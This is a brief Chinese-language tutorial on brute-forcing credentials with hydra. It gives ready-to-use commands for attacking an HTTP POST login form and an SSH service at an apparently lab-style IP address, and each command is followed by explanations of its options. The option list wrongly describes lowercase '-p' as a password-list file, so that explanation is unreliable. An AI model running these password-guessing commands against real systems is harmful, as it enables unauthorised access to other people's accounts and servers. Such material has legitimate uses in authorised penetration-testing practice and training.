利用hydra暴力破解HTTP網站以及SSH常見的選項配置方法

　　破解HTTP POST 用戶名密碼:

hydra -l <username> -P <wordlist> 10.10.146.211 http-post-form "/:username=^USER^&password=^PASS^:F=incorrect" -V

 

　　選項解釋：

 

  -l 　　　　 指定單個的用戶名
  -L               用戶名文件

  -p               密碼列表文件

http-post-form      輸入提交表單的格式以及字段的名稱
   F               用戶名密碼錯誤時返回頁面的含有的詞匯

　　破解SSH用戶名與密碼：

　

hydra -l <username> -P <full path to pass> 10.10.146.211 -t 4 ssh

 

-t   並發數

-l   指定單個的用戶名

-p   密碼列表文件